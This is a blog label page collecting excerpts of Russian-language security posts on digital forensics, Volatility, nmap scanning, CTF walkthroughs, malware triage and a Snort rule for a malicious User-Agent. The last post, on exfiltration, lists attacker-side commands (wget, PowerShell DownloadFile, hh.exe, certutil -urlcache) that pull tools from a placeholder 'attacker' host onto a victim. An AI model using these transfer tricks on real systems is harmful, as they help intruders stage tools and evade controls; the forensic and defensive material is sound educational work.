Showing posts with label forensic. Show all posts
Showing posts with label forensic. Show all posts

Friday, 4 October 2024

Лаборатория с REMnux.

Всем привет.

Форензика (Forensics) - это компьютерная криминалистика, наука о расследовании киберпреступлений, то есть прикладная наука о раскрытии преступлений, связанных с компьютерной информацией. Неотъемлемой частью форензики является исследование цифровых доказательств, использование методов поиска, получения и закрепления данных доказательств.

Когда произошел инцидент, необходимо оперативно получить ответы на следующие вопросы:

  • понять, как была реализована атака;
  • построить сценарий взлома;
  • восстановить хронологию (таймлайн) атаки;
  • собрать артефакты, оставшиеся после атаки следы, и проанализировать их;
  • предложить превентивные защитные меры, чтобы такого впредь не повторилось.

Форензика делится на следующие направления:

  • computer forensics – к ней относится все, что связано с поиском артефактов взлома на локальной машине: анализ ram, hdd, реестра, журналов ОС и т. д.;
  • network forensics – анализ сетевого трафика;
  • forensic data analysis – посвящена анализу файлов, структур данных и бинарных последовательностей, оставшихся после атаки или использовавшихся при вторжении;
  • mobile device forensics – занимается всем, что касается особенностей извлечения данных из android и ios;
  • hardware forensic – экспертиза аппаратного обеспечения и технических устройств прошивки, bios и т. д.

В задачи исследователя входит анализ скомпрометированной машины на наличие доказательств компрометации (улик). То есть, по сути, нам важно понимать, как злоумышленник проник в систему, какие уязвимости он использовал, какие учетные записи были скомпрометированы и т. д.

Важно отметить, что доказательства должны быть сохранены в исходном виде, для того чтобы впоследствии эксперты со стороны защиты не смогли заявить, что эти доказательства были подделаны или изменены.

Экспертиза взломанного хоста состоит из Статического анализа и Динамического анализа.

Статический анализ

Задачи статического анализа:

  • создать образ жесткого диска или дампа оперативной памяти;
  • выявить и восстановить удаленные файлы;
  • остатки аномальных файлов в %temp% и системных директориях;
  • собрать историю серфинга веб-браузера;
  • системные логи события авторизации;
  • аудит доступа к файлам и директориям и т. д.;
  • получить список запущенных в памяти процессов и открытых коннектов сети.

Saturday, 28 September 2024

Про DNS Client Cache.


Всем привет.

Одной из сильнейших сторон PowerShell является наличие возможности получение удалённых действий при возникновении ситуации отклика в процессе происшествия. Предоставляемая самыми последними версиями PowerShell инфраструктура значительно снижает необходимые сетевые настройки и предлагает значительную безопасность.

В какой-то мере в инструкциях по forensics стороной обходится крайне полезный для локальных и удалённых расследований командлет PowerShell - Get-DNSClientCache.

Кэш клиента DNS, или иначе DNS преобразователь (resolver) является локальной базой данных, сопровождаемой самой операционной системой. Он содержит свидетельчтва последних посещений на веб сайты и прочие местоположения в Интернете. Проще говоря, кэш DNS Клиента это просто некая запись последних запросов DNS, которые ускоряют доступ к уже определённым IP- адресам вебсайтов. Имейте в виду, что очистка истории вашего веб браузера для сокрытия вашей активности не включает кэш преобразователя DNS самих oперационных систем. Многие программы очистки будут очищать этот кэш, однако пользователи могут его пропускать, а он может служить важным свидетельством недавней активности. Кто про такое помнит?

Сам DNS (сервис доменных имён), предоставляет некую трансляцию из дружественных пользователю имён, таких как microsoft.com, google.com и python-forensic.org в IP- адреса, по которым они располагаются. Всякий раз когда вы вводите в своём браузере нечто подобное www.amazon.com, осуществляется поиск DNS для трансляции читаемого человеком адреса в некий IP адрес, по которому можно выполнить доступ.

Запуск процесса Get-DNSClientCache после очистки (ipconfig /flushdns) имеющегося кэша приводит к следующим результатам (альтернатива просмотра ipconfig /displaydns):

PS C:\WINDOWS\system32> Get-DnsClientCache | Select-Object -Property Entry 

Пусто! Естественно, CmdLet ничего не возвращает, поскольку DNS кэш пустой.

Wednesday, 17 July 2024

Timeline forensics.

Hi all.

One question, which is very prominent in forensics is, “When?”

In other words, time is a very important factor at which analytics is based in the process of forensics. There are many artifacts that we use in an investigation which have temporal characteristics. These characteristics allow us to build the whole picture of an incident. Moreover, timeline analysis could help when we analyze different types of evidence. Timeline analysis may be built on the base of any source that has timestamps. This could be the metadata of the filesystem, registry, event log files, log files of applications, memory, network traffic, and so on.

Certainly, the timeline is one of the most useful techniques that is applied in digital forensics. However, this is based on the analysis of particular artifacts, so it is very important to understand how to analyze the artifacts that are suppliers of timeline events. Despite the apparent simplicity of the idea underlying the timeline, in practice, it is not so easy. One of the difficulties is the large amount of data that has to be analyzed. The issue with a running system is that there are a few users and many system services, which produce a lot of events. We need to filter out such activities from normal users. The idea of a timeline is not very new. It has been around since the year 2000, when Rob Lee and some other forensic people started applying it in digital forensics. Originally, filesystems served as a source of data for the timeline. We will consider the NTFS filesystem as the most prevalent filesystem in our review. 

The timeline of the NTFS filesystem is based on the timestamps in some attributes of the filesystem objects.

Every object of the filesystem has the following timestamps:

⦁ M: This is the date of data modification

⦁ A: This is the date of data access

⦁ C: This is the date of metadata change

⦁ B: This is the date of metadata creation

Based on the analysis of this data, we can determinate when a file was created, copied, moved, and so on. The NTFS filesystem uses FILETIME as its time format in UTC. UTC is  Coordinated Universal Time. FILETIME contains a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC). MS Windows also uses other time formats. They are the UNIX time format, DOS Date format, and SYSTEMTIME format.

Friday, 1 July 2022

Про Xplico.

Всем привет.

Есть такой парень Xplico - это инструмент анализа сетевой криминалистики (NFAT). Цель Xplico в извлечении из захваченного интернет трафика данных приложения протокола, и он может распознавать протоколы с помощью метода под названием Port Independent Protocol Identification (PIPI).

Например, из файла pcap Xplico извлекает каждый email (протоколы POP, IMAP и SMTP), всё содержимое HTTP, каждый звонок VoIP (SIP), FTP, TFTP и т. д. Xplico не является анализатором сетевого протокола.  Повторюсь, что Xplico - это криминалистический инструмент анализа сети.

Домашняя страница: http://www.xplico.org/. Автор: Gianluca Costa, Andre de Franceschi. Лицензия: GPLv2

Его особенности:

  • Поддерживаемые протоколы: HTTP, SIP, IMAP, POP, SMTP, TCP, UDP, IPv6;
  • Независимая идентификация портов протоколов (PIPI) для каждого протокола приложений:
  • Многопоточность;
  • Выводимые данные и информация в базе данных SQLite или базе данных database и/или файлах:
  • Все перекомпонованные в Xplico данные ассоциируются с файлом XML, который однозначно идентифицирует содержимое пересобранных данных потоков и pcap;
  • Проработка в реальном времени (зависит от количества потоков, типов протоколов и производительности компьютера — оперативной памяти, процессора, времени доступа к жёсткому диску и т. д.);
  • Сборка TCP с верификацией ACK для всех пакетов или программная ACK верификация
  • Обратный поиск DNS из содержащих DNS пакетов во входящих файлах (pcap), а не с внешнего DNS сервера;
  • Нет ограничения на размер входящих данных или на количество входящих файлов (ограничение только по размеру жёсткого диска);
  • Поддержка IPv4 и IPv6;
  • Модульность. Каждый компонент Xplico является модулем. Протокол ввода, протокол декодирования (Dissector) и интерфейс вывода (dispatcher) — это всё модули;
  • Возможность легко создавать любые типы dispatcher с помощью которых организовывать извлечение данных наиболее подходящим и полезным для вас путём.

Xplico использование:

xplico [-v] [-c <файл_конфигурации>] [-h] [-s] [-g] [-l] [-i <prot>] -m <модуль_захвата></prot>

-v версия

-c файл конфигурации

-h эта помощь

-i информация по протоколу 'prot' 

-g показать дерево-график протоколов

-l напечатать на экране всё содержимое логов

-s печатать каждую секунду статус декодирования

-m тип модуля захвата

Параметры должны следовать в этом порядке!

Sunday, 26 June 2022

More on scanning and more.

Всем привет.

Чем мы занимались на прошлых лекциях? Мы занимались footprinting-ом, но footprinting не ставит перед собой целью получить доступ к целевой системе напрямую. Поэтому рассмотрим в финальной части цикла методы прямого исследование целевой системы:


  • жива ли система (проверка сетевого пинга)
  • перечень запущенных сервисов
  • тип/версия ОС
  • версия стека протоколов.


Determining if system is alive

Purpose: find out which IP addresses have live hosts on them. No point in detailed examination of empty address!

Network Ping sweep:

  • ARP Host discovery
  • ICMP Host discovery
  • OS Utilities
  • Network discovery tools
  • TCP/UDP Host discovery


ARP Host discovery - 1

Address Resolution Protocol:

  • Works on top of layer 2, in parallel with network layer
  • Has its own ethertype value
  • Needed for “plug-and-play” autoconfiguration and mobility
  • Request is broadcast to all hosts on LAN
  • Host with matching address is required to respond
  • Attacker needs to be on same LAN


ARP Host discovery - 2

Nmap by Fyodor (nmap.org):

  • De facto tool of choice 
  • Works on Linux, Windows, Mac
  • Does much more than ARP scanning
  • ARP scan through -PR <CIDR address> option
  • Turn off port scan using -sn option
  • Reports IP address, MAC address, OUI's name, and latency

CAIN (oxid.it/cain.html):

  • Windows tool
  • Does much more than ARP scanning
  • GUI-based tool

Limitations of ARP scanning: targets on distant network segments.

Wednesday, 15 June 2022

Nping для анализа сетевых пакетов.

Всем привет.

Сегодня у нас третья часть из серии "Анализ сетевых пакетов", переходим к Nping. Хотя Nping и является частью пакета nmap и даже устанавливается в систему по умолчанию, тем не менее она стоит того чтобы уделить ей внимание отдельно.

Nping is an open source tool for network packet generation & response analysis and response time measurement. Nping can generate network packets for a wide range of protocols, allowing users full control over protocol headers. 

Syntax:

nping [Probe mode] [Options] {target specification}

Example:

nping blabla.com.tr

Starting Nping 0.6.01 ( http://nmap.org/nping ) at 2012-06-20 20:27 CEST

SENT (0.1879s) ICMP 192.168.60.129 > 199.83.132.66 Echo request (type=8/code=0) ttl=64 id=53514 iplen=28 

SENT (1.1890s) ICMP 192.168.60.129 > 199.83.132.66 Echo request (type=8/code=0) ttl=64 id=53514 iplen=28 

SENT (2.1901s) ICMP 192.168.60.129 > 199.83.132.66 Echo request (type=8/code=0) ttl=64 id=53514 iplen=28 


Nping Modes/TCP Probe Modes:



Monday, 13 June 2022

Nmap scanning and discovering.

Всем привет.

Сегодня у нас вторая часть из серии "Анализ сетевых пакетов" и сегодня оперируем Nmap.

Nmap (network mapper) is an open source tool for network traffic analysis and security auditing. 

It uses raw network packets to determine:

  • what hosts are available on networks,
  • what services (application name and versions),
  • what operating systems and OS versions they are running,
  • what type of packet filters/firewalls are in use,

 and many more...


Single Target Scanning:

## Scan a single ip address ###

nmap 192.168.1.1


## Scan a host name ###

nmap www.google.com


## Scan a host name with more info###

nmap –v myhost.ieu.edu.tr


Multiple Target Scanning:

nmap 192.168.1.1 192.168.1.2 192.168.1.3

nmap 192.168.1.1,2,3

Sunday, 5 June 2022

Расследование взлома компьютера с Windows, CTF #2.

Всем привет.

Вторая часть серии CyberDefenders.org представляет собой еще более увлекательную криминалистическую CTF. Как обычно, цель состоит в том, чтобы ответить на ряд типичных вопросов реагирования на инциденты, связанные с заражением вредоносным ПО.

Вам предоставляются следующие файлы, которые помогут в анализе:

- дамп необходимых лог-файлов в формате Json (для анализа будем использовать jq)

- ELK с графическим интерфейсом Kibana

Поэтoму на этот раз образ весит все 7 Гб. Скачали? Тогда начнем.

1) Процесс Threat Hunting обычно начинается с того, что аналитик выдвигает гипотезу о возможном векторе компрометации или методах, используемых злоумышленником. В этом сценарии ваша первоначальная гипотеза выглядит следующим образом: 

«Злоумышленник использовал механизм подписки WMI для обеспечения устойчивости в инфраструктуре». Проверьте эту гипотезу и найдите имя потребителя событий WMI, используемого злоумышленником для сохранения своей позиции.

Выполним запрос:

cat cyberpolygon-2020-data.json | jq 'select(._source.event_id=="5861")'

или отфильтруем в Кibana:

event_id:5861


Ответ:

PowerControl Consumer

Wednesday, 1 June 2022

Расследование взлома компьютера с Windows, CTF #1.

Всем привет.

Если вы интересуетесь информационной безопасностью, то наверняка знакомы с площадками для оттачивания хакерского мастерства, такими как Hack The Box,  а для специалистов компьютерной криминалистики существует альтернативная платформа CyberDefenders.  И я заглядываю туда время от времени, чтобы вспомнить былое.

Обычно дело обстоит так - по сценарию форензик кейса в исходящем трафике сети компании CyberCorp был выявлен ряд аномалий, что говорит о взломе. Специалисты ИБ успешно изолировали скомпрометированный хост от сети и собрали важные артефакты Windows. Артефакты лежат в архиве, который вам необходимо скачать. По результатам решения кейса нас, как специалистов по расcледованию инцидента, попросят ответить на ряд вопросов. 

По ходу нам предоставляются следующие файлы (артефакты Windows), которые подвергаются анализу:

Amcache.hve - файл реестра, содержит информацию о запускаемых приложениях.  Расположение файла Amcache: \%SystemRoot%\AppCompat\Programs\Amcache.hve

AppCompatCache.reg - информация из ключа куста реестра SYSTEM (C:\Windows\System32\configSystem):

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCache

В этом ключе содержится артефакт Shimcache - эта функция обеспечивает совместимость старых приложений с более новыми версиями ОС. В нем хранится информация: путь к файлу, время последнего изменения и размер исполняемого файла.

Файлы реестра: default, SAM, SECURITY, software, system. Расположение файлов: C:\Windows\System32\config

Windows event logs (формат evtx). Расположение файлов: C:\Windows\System32\winevt\Logs

User Registry Hives - файл NTUSER.DAT содержит информацию, связанную с действием пользователя. Файлы NTUSER.DAT хранятся в каталоге: %userprofile%

Windows Prefetch - файл оптимизации запуска приложений. Файлы Prefetch могут содержать важную информацию, такую как: имя исполняемого файла, список динамических библиотек, используемых исполняемым файлом, количество запусков исполняемого файла и временную метку, которая указывает, когда приложение было запущено в последний раз. Расположение файлов: C:\Windows\Prefetch

Копия NTFS $MFT. MFT - системный файл ОС, содержит метаданные объекта файловой системы. MFT находится в корне разделов NTFS, выгрузить его можно инструментом FTK Imager.

OBJECTS.DATA - файл содержит постоянные классы WMI (Windows Management Instrumentation). Расположение файла: %SystemRoot%\System32\wbem\Repository

Рartial registry dump - файл образа RAM.

2 packet captures файла (формат pcapng) - сетевой трафик, полученный в результате мониторинга сети организации.

Friday, 15 April 2022

Про Sleuth Kit.

Всем привет. 

The Sleuth Kit (TSK) - это набор цифровых криминалистических инструментов с открытым исходным кодом, разработанная Brian Carrier и Wieste Venema. TSK может читать и анализировать различные типы файловых систем, такие как FAT, NTFS и EXT. The Sleuth Kit  анализирует каждую область жесткого диска и извлекает криминалистически важную информацию для исследователя. Обычно каждый шаг предоставляет информацию к следующему при исследовании.

Сегодня мы рассмотрим некоторые инструменты The Sleuth Kit. Мы будем использовать образ жесткого диска с установленной Windows 7. Образ был получен с помощью FTK Imager lite из виртуальной машины Windows 7 размером 15 ГБ и одним разделом NTFS.

Как мы увидим, назначение инструментов TSK легко понять, поскольку их название состоит из двух частей: 

- первая часть представляет исследуемую область или слой, например mm для управления медиа, fs для файловой системы, i для метаданных и f для уровня имени файла

- вторая часть это команда Linux, отражающая действие инструмента, например, ls для отображения списка и cat для отображения содержимого, например, инструмент mmls.

Для всех команд необходимо указать как минимум имя образа. Бывает полезно знать параметр -f <FS_TYPE> указывает тип файловой системы, такой как ext2, ext3, ntfs, fat, fat12, fat16 и т. д. А параметр -o imgoffset указывает смещение сектора, в котором файловая система запускается в образе.

Типы и форматы файловых систем которые под силу вашей версии ТSK можно узнать набрав команду mmstat -i list и mmstat -t list cоответственно.


Согласно курса «CYBER 502x Computer Forensics» от гуру Yin Pan-а TSK  исследует 5 слоев абстракции файловой системы в подопытном образе:

• Physical layer

• Data layer

• Meta-data layer

• File system layer

• Filename layer

Friday, 18 March 2022

Пишем правило для Snort.

Всем привет.

Загляняем сегодня к одной из самых популярных систем IDS в инфомире - Snort. Snort используется для сигнатур или правил, которые связывают между собой группу элементов (так называемые параметры правил), истинность которых является обязательным условием срабатывания правила. Основные параметры занимаются распознаванием элементов, которые либо относятся к содержимому (параметры правил содержимого в терминологии Snort), либо нет (параметры правил вне содержимого). Примерами параметров правил вне содержимого могут служить определенные флаги, значения TCP- или IP-заголовков и размер пакета. Например, параметр flow:established,to_client выбирает пакеты, которые входят в сеанс TCP, инициированный сервером, и предназначены для клиента. Еще один пример, dsize:200, выбирает пакеты, содержимое которых равно 200 байт.

Как я писал ранее, IDS Suricata, она же является развитием Snort, и которая является основой в пакете SELKS использует синтаксис правил Snort. Поэтому давайте в качестве примера создадим для Snort простое правило, которое позволяет обнаружить вредонос, который генерирует сетевой трафик, состоящий из HTTP-запроса типа GET. Когда браузеры или другие HTTP-приложения делают запрос, они указывают поле заголовка User-Agent, чтобы связаться с программой, которая используется для этого запроса. Обычно данное поле начинается со слова Mozilla (по историческим причинам) и может выглядеть как Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1). Здесь содержится информация о версии браузера и ОС.

Пусть наш вредонос формирует такой GET-запрос:

GET /index.htm HTTP 1.1

Accept: */*

User-Agent: Wefa7e

Cache-Control: no

Поле User-Agent, которое используется рассмотренным вредоносом, равно Wefa7e. Это характерное значение, и с его помощью можно распознавать вредоносный трафик. Разумеется более надежный вредонос сформирует это поле под любой браузер, но для нашего примера он будет таким простым. Следующая сигнатура нацелена на необычные строки User-Agent, которые использовались запущенным нами вредоносом:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"TROJAN Malicious User-Agent"; content:"|0d 0a|User-Agent\: Wefa7e"; classtype:trojan-activity; sid:2000001; rev:1;)

В Snort правила состоят из двух частей: заголовка и параметров. Заголовок содержит действие (обычно alert), протокол, исходный и конечный IP-адреса, а также порты источника и адресата.

В правилах принято использовать переменные, которые позволяют адаптироваться под текущую среду: $HOME_NET и $EXTERNAL_NET определяют внутренний и внешний диапазоны IP-адресов, а $HTTP_PORTS указывает порты, которые следует интерпретировать как HTTP-трафик. В данном случае заголовок $HOME_NET any ->$EXTERNAL_NET $HTTP_PORTS соответствует исходящему трафику, проходящему через HTTP-порты, так как знак -> говорит о том, что правило относится лишь к одному направлению передачи данных.

Раздел параметров содержит элементы, которые определяют, должно ли правило сработать. Элементы обычно проверяются по порядку, и каждый из них должен быть истинным, иначе правило будет проигнорировано. В таблице ниже описаны ключевые слова, которые используются в приведенном выше правиле.


В сочетании с sid служит уникальным идентификатором версии правила Внутри выражения content используется вертикальная черта (|), которая определяет начало и конец записи в шестнадцатеричном формате. Все, что находится между этими символами, интерпретируется в качестве шестнадцатеричных значений. Таким образом, |0d 0a| представляет разрыв между HTTP-заголовками.

Sunday, 13 March 2022

Инструменты для анализа вредоносного ПО.

Всем привет.

Читал я читал по вечерам книгу Сикорски М., Хониг Э. "Вскрытие покажет! Практический анализ вредоносного ПО" (2018), и вот сегодня решил подвести итог перечнем популярных инструментов для анализа вредоносного ПО из нее. Список довольно обширный, где каждый могжет подобрать для себя инструментарий, который лучше всего подойдет для будущих исследований. Ну как, готовы? Тогда поехали.

ApateDNS. 

Это утилита для управления DNS-ответами. Она обладает простым графическим интерфейсом. В сущности, это фиктивный DNS-сервер, который перехватывает DNS-ответы для заданного IP-адреса, прослушивая локальный UDP-порт под номером 53. Кроме того, ApateDNS автоматически указывает локальный DNS-сервер в качестве системного, восстанавливая исходные параметры при выходе. Используйте ApateDNS во время динамического анализа. Вы можете бесплатно загрузить эту программу по адресу www.mandiant.com.

Autoruns. 

Это утилита с длинным списком мест, которые используются в Windows для автоматического запуска. Вредоносное ПО часто устанавливается в такие места, чтобы обеспечить свое постоянное присутствие; это относится к реестру, папке начального запуска и т. д. Autoruns проверяет все возможные места и выводит отчет в графическом виде. Используйте эту утилиту для динамического анализа, чтобы узнать, куда установилась вредоносная программа. Она входит в состав пакета Sysinternals Suite, и вы можете загрузить ее на сайте www.sysinternals.com.

BinDiff. 

Это мощный плагин к IDA Pro, с помощью которого можно быстро сравнить разные варианты зараженных двоичных файлов. Он позволяет выделить новые функции и распознать похожие или отсутствующие участки кода. BinDiff сравнивает две функции и показывает степень их схожести.  BinDiff также может оценить степень схожести двух двоичных файлов, но, чтобы это сработало, вам придется сгенерировать IDB-файл для обеих версий (полностью промаркированный IDB-файл поможет вам понять, какой именно код отсутствует). Программу BinDiff можно купить на сайте www.zynamics.com.

BinNavi. 

Это среда для обратного проектирования, похожая на IDA Pro. Ее сильной стороной является графическое представление кода. В отличие от IDA Pro, BinNavi может самостоятельно управлять базами данных с результатами анализа, что помогает в поиске нужной информации; члены команды могут свободно работать с одним и тем же проектом, обмениваясь полученными сведениями. Программа BinNavi доступна для покупки по адресу www.zynamics.com.

Bochs. 

Это отладчик с открытым исходным кодом, который симулирует полноценный компьютер на базе х86. Он наиболее полезен при отладке небольших фрагментов кода в IDA Pro. IDA Pro поддерживает отладку IDB-файлов напрямую с помощью Bochs. В этом режиме формат входящего файла не имеет значения - это может быть DLL, сохраненный на диск код командной оболочки или любая другая база данных с кодом для платформы x86. Вы можете просто указать фрагмент кода и начать отладку. Этот подход часто помогает при работе с закодированными строками или конфигурационными данными. Bochs можно бесплатно загрузить на сайте www.bochs.sourceforge.net. Руководство по установке и использованию этой программы в IDA Pro можно найти по адресу www.hex-rays.com/products/ida/debugger/bochs_tut.pdf.

Burp Suite. 

Этот пакет обычно используется для тестирования веб-приложений. Его можно сконфигурировать для перехвата определенных серверных запросов и ответов; это позволяет изменять данные, которые приходят в систему. Burp можно использовать в роли промежуточного звена. В этом случае вы можете модифицировать HTTP- и HTTPS-запросы, изменяя заголовки, данные и параметры, отправляемые вредоносной программой на удаленный сервер, чтобы извлечь c этого сервера дополнительную информацию. Загрузить Burp Suite можно по адресу www.portswigger.net/burp.

Tuesday, 23 November 2021

Практические кейсы с Volatility.

Всем привет.

Анализ памяти ОС актуален в ситуации, когда есть или был физичес­кий дос­туп к компьютеру и была возможность снять дамп опе­ратив­ной памяти. По слепку оперативной памяти мож­но опре­делить, какие при­ложе­ния запус­кались во вре­мя работы компьютера, дан­ные про­цес­сов и получить другую полезную информацию. Все это можно сделать пока пользователь не вык­лючил или не перезаг­рузил компь­ютер. Suspend состояние ОС идеально для этого подходит.

Как правило, для ана­лиза оперативной памяти используют нес­коль­ко при­ложе­ний: Volatility, Memoryze и Autopsy. Autopsy конечно же удобный инструмент, который может одним нажатием кнопки сделать комплексный анализ всего дампа. Но, если речь идет о кейсах когда вы ограничены о времени, тогда важна скорость получения результатов, т.е. лучше использовать, что-то другое консольное. Поэтому сегодня я для анализа дампа оперативной памяти буду исполь­зовать Volatility.

Для своих тестов я взял три дампа Windows:

1) ch2.dmp, Win7SP0x86 получен здесь.

2) memdump.mem, WinXPSP3x86 получен самостоятельно.

3) challenge.vmem, Win10x64_18362 получен здесь.

Сразу оговорюсь что с третьим кейсом у меня получился фейл. Традиционный запрос на определение профиля дампа:

volatility_2.6_win64_standalone.exe -f challenge.vmem imageinfo

мне ничего не выдал. Даже подстановка вручную профиля Win10x64 к успеху не привела. Так что далее я работал только с первыми двумя дампами.

Case 1.

Получение имени компьютера, с моей точки зрения, не является чем-то важным, поэтому это присходит буквально за два шага извлечением значения ключа реестра из ControlSet001\Control\ComputerName\ActiveComputerName:

volatility_2.6_win64_standalone.exe -f ch2.dmp --profile=Win7SP0x86 hivelist

volatility_2.6_win64_standalone.exe -f ch2.dmp --profile=Win7SP0x86 hivedump -o 0x8b21c008 > hi_dump.txt

findstr "ComputerName" hi_dump.txt

volatility_2.6_win64_standalone.exe -f ch2.dmp --profile=Win7SP0x86 printkey -K "ControlSet001\Control\ComputerName\ActiveComputerName"

В качестве бонуса к заданию я попытался реконструировать снимок последнего desktop-a.

volatility_2.6_win64_standalone.exe -f ch2.dmp --profile=Win7SP0x86 screenshot -D F:\Case\Dump

Однако сборка версии 2.6 заточена на библиотеку PIL, где и я получил ошибку "Please Install PIL". PIL уже давно именуется как Pillow, что требует перекомпиляцию всего кода volatility, поэтому более быстрым решением стало использование версии volatility 2.4:

volatility-2.4.standalone.exe -f ch2.dmp --profile=Win7SP0x86 screenshot --dump-dir=/


Saturday, 7 August 2021

Анализ дампа памяти фреймворком Volatility.

Всем привет.

Криминалистический анализ дампов памяти - метод исследования, который включает в себя поиск и извлечение криминалистических артефактов из физической памяти компьютера (ОЗУ). В памяти компьютера хранится ценная информация о состоянии системы во время выполнения. Создание дампа памяти и его анализ дадут необходимую для расследования информацию, например о том, какие приложения работают в системе, к каким объектам (файлу, реестру и т. д.) эти приложения обращаются, сведения об актив ных сетевых соединениях, загруженных модулях, загруженных драйверах ядра и другую информацию. По этой причине криминалистический анализ дампов памяти используется при реагировании на компьютерные инциденты и анализе вредоносных программ.

Создание дампа памяти – это процесс получения дампа энергозависимой памяти (ОЗУ) в виде энергонезависимого хранилища информации (файла на диске). Существуют различные инструменты, которые позволяют создать дамп памяти физического устройства. Ниже приведен ряд инструментов, которые позволяют создать дамп физической памяти в Windows. Некоторые из них являются коммерческими, а многие можно скачать бесплатно после регистрации. Следующие инструменты работают как на 32-разрядных, так и на 64-разрядных компьютерах:

  • Comae Memory Toolkit (DumpIt) от Comae Technologies (можно скачать бесплатно после регистрации): my.comae.io;
  • Belkasoft RAM Capturer (можно скачать бесплатно после регистрации): belkasoft.com/ram-capturer;
  • FTK Imager от AccessData (можно скачать бесплатно после регистрации): accessdata.com/product-download;
  • Memoryze от FireEye (можно скачать бесплатно после регистрации): www.fireeye.com/services/freeware/memoryze.html;
  • Surge Collect от Volexity (коммерческий): www.volexity.com/products-over-view/surge/;
  • OSForensics от PassMark Software (коммерческий): www.osforensics.com/osforensics.html;
  • WinPmem (бесплатный), часть криминалистического фреймворка Rekall Memory: blog.rekall-forensic.com/search?q=winpmem.

В большинстве случаев вы можете сделать дамп памяти виртуальной машины, приостановив ее. Например, после выполнения образца вредоносного ПО на рабочей станции VMware вы можете приостановить виртуальную машину, которая запишет гостевую память (RAM) в файл с расширением .vmem на диске главного компьютера. В случае с такими приложениями, как VirtualBox, когда дамп памяти нельзя сделать путем приостановки, вы можете использовать утилиту типа DumpIt на гостевом компьютере.

После того как вы сделали дамп памяти зараженной системы, следующим шагом является анализ полученного образа. Volatility представляет собой лучший фреймворк для компьютерной криминалистики с открытым исходным кодом, написанный на Python, позволяющий анализировать и извлекать цифровые артефакты из образа памяти. Volatility может работать на различных платформах (Windows, macOS и Linux). Он поддерживает анализ памяти из 32-разрядных и 64-разрядных версий Windows, MacOS и операционной системы Linux.

Volatility распространяется в нескольких форматах, и его можно скачать на странице www.volatilityfoundation.org/releases. В зависимости от операционной системы, на которой вы собираетесь запускать Volatility, следуйте процедуре установки для соответствующей ОС.

Самый быстрый способ начать работу с Volatility – использовать автономный исполняемый файл. Автономный исполняемый файл распространяется для операционных систем Windows, macOS и Linux. Его преимущество состоит в том, что вам не нужно устанавливать интерпретатор Python или зависимости Volatility, поскольку он поставляется с интерпретатором Python 2.7 и всеми необходимыми зависимостями.

Saturday, 2 January 2021

Алгоритм начального расследования.

Всем привет.

Как-то я рассказывал про набор инструментов для начального реагирования на вирусную атаку. Чтобы напомнить себе еще раз пишу сегодня свежий алгоритм от того же автора.

Итак, прежде всего нам надо иметь изолированный от рабочей сети полигон для исследования. Можно подготовить физический ПК (рекомендуется свежая(без патчей) или клонировання среда Win7) или в видеVM в Virtualbox. Зловреды не любят VM, тогда вам надо будет убрать возможные признаки  виртуальности.  Paranoid-fish покажет по каким признакам можно отследить что вы использутете VM. Также стоит обратить внимание на установленные Guest tools и неправильное системное время.

Интернет подаем на полигон через WiFi-точку доступа или через NAT в случае с Virtualbox.

1. Ок, нам передали зловред testik.doc полученный в письме по почте. Забрасываем наш зловред в VM в архиве с паролем. Не помешает также скрыть имена файлов в архиве. Или проделываем туже операцию через онлайновый файлообменник.

2. Прежде всего следует определить реальный формат файла:

>file testik.doc

В этом плане полезный набор OLEtools:

>olevba testik.doc

>mraptor testik.doc

>rtfobj testik.doc

Перед "активацией" зловреда я бы не исключал вероятность того что вааш полигон заблокирует провайдер, если он начнет активно рассылать код в сеть.

Готовы? Тогда даем зловреду развернуться, открываем testik.doc в непропатченном MS Word 2007.

В Wireshark отслеживаем и захватываем сетевое взаимодействие зловреда в системе на каждом этапе исследования.

С помощью TCPhound и TCPView отслеживаем сетевые соединения которые порождает зловред в системе на каждом этапе исследования.

В ProcessMonitor (Process tree) отслеживаем процессы которые порождает зловред в системе на каждом этапе исследования.

В Autoruns остлеживаем закрепление зловреда в системе.

Ожидаем ситуацию установки стабильных сетевых соединений которые породил зловред (ESTABLISHED).

Закрываем MS Word 2007. Он нам больше не нужен.

В ProcessMonitor УБИВАЕМ процессы которые породил зловред в системе исследования.

Исследуем в Wireshark порожденные сетевые взаимодействия зловреда в тестовой системе. Определяем IOC, и находим полученную нагрузку (payload).

3. Паралелльно п.2. забрасываем testik.doc в онлайновые сервисы проверки типа virustotal.com: 

- еще раз проверяем filetype 

- закладка Сommunity покажут информацию может кто встречал с ним ранее

- закладка Relations может показать прямой путь к нагрузке(payload), возможно будет его загрузить по wget не вылавливая его на своем полигоне.

4. Анализируем полученный payload на ресурсах anayze.intezer.com, pastebin.com, quiksand.io, 

irish.malwageddon.com, cucko.cert.ee и прочих.

Как-то так. Что успел записать по следах семинара.


Sunday, 6 December 2020

Эксфильтрация файлов.

Всем привет.

Первая задача, с которой хакер сталкивается на этапе построения атаки - это передача файлов. 

Нужно залить на удаленный хост эксплоит, скачать нужный файл, дамп памяти, поднять прокси-сервер, прочее. Такая специфика передачи файлов обусловлена необходимостью выполнить ее исключительно базовыми средствами ОС. Такую операцию называют эксфильтрацией. И тут есть несколько вариантов. 

Первый самый простой вариант передачи файлов под Linux. Для быстрого старта веб-сервера в текущей папке используем встроенный модуль Python2:

attacker> python -m SimpleHTTPServer 8080

Для Рython3: 

attacker>python3 -m http.server 8080

Передаем наш файл:

victim$> wget http://attacker/nmap.exe -O /tmp/nmap.exe

Если на удаленном хосте установлена Windows 7-10, лучше использовать PowerShell:

victim$> powershell -c (new-object System.Net.WebClient).DownloadFile ('http://attacker/nmap.exe' 'C:\Users\victim\desktop\nmap.exe')

Часто HTTP - единственное окно в мир из DMZ, и в Windows тоже приходится им пользоваться, причем разными способами. Наиболее универсальный, но не самый красивый метод выглядит так:

victim$> hh.exe http://attacker/nmap.exe.txt

victim$> cd \users\victim\appdata\local\microsoft\windows\

victim$> dir /s nmap.exe

victim$> cd путь_до_папки

victim$> move nmap.exe[1].txt nmap.exe

Передать файлы в виде простого текста возможно почти всегда. Этот способ подразумевает отправку файла любого содержимого, но с расширением .txt. Можно использовать очень полезную утилиту certutil, которая предназначена для различных криптографических операций. У нее куча опций, ее можно сравнить со швейцарским ножом. Вот как она используется для передачи файла - лезвие №1:

victim$> certutil -urlcache -split -f http://attacker/nc.exe.txt nc.exe.txt

Или так:

